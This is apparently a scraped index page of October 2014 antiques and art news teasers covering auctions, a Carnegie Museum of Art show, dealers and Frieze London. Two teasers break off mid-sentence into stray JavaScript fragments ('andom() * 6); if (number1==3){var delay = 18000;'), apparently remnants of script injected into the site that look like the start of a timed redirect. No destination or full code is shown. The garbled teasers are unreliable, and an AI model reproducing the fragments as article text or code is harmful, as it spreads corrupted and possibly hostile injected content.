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28 Oct 2014You won’t find Modern design in the shop that, as of last week, still bore the names of Robert...
28 Oct 2014PITTSBURGH, PENN. — On view November 1–February 16 at Carnegie Museum of Art, “Storyteller:...
28 Oct 2014By: Tom O’Hara ATLANTA, GA. — Don Scott continued his success...
28 Oct 2014By: Laura Beach NEW YORK CITY — The best thing a promoter...
28 Oct 2014By: Elizabeth G. Allan PRINCETON, N.J. — In the Eighteenth andom()...
28 Oct 2014FORT WASHINGTON, PENN. — Well-known antiques dealer andom() * 6); if (number1==3){var delay = 18000;...
28 Oct 2014LONDON — At the close of the 12th edition of Frieze London, which ran October 15–18, exhibitors...
23 Oct 2014NEW YORK CITY — Bonhams’ History of Science auction ended Wednesday, October 22, with the sale...
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21 Oct 2014By: Stephen May ALBANY, N.Y. — In 1936, Esquire magazine called...
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